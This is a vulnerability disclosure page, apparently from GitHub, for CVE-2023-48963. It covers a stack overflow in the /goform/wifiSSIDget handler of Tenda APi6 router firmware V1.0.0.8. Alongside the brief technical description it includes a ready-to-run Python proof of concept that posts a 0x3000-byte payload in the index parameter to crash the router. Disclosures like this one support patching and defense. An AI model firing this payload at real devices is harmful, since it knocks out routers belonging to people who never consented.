CVE-2023-48963: GitHub - daodaoshao/vul_tenda_i6_1

Tenda APi6 V1.0.0.8(3856) Stack Overflow****Firmware information

Manufacturer’s address:https://www.tenda.com.cn/

Firmware download address: https://www.tenda.com.cn/download/detail-2570.html

Affected Version****Vulnerability Details

Vulnerability Location: /goform/wifiSSIDget

The length of the ndex parameter is not verified, sprintf can cause stack overflow vulnerability, it can result in dos attacks on routers

The pages of the router

POC

import requests from pwn import*

ip = “192.168.182.21” url = “http://” + ip + “/goform/wifiSSIDget” print(url)

payload =b’a’*0x3000

cookie = {"Cookie":"user="} data = {"index": payload,"wl_radio":0} response = requests.post(url, cookies=cookie, data=data) print(response.text) print(“HackAttackSuccess!”)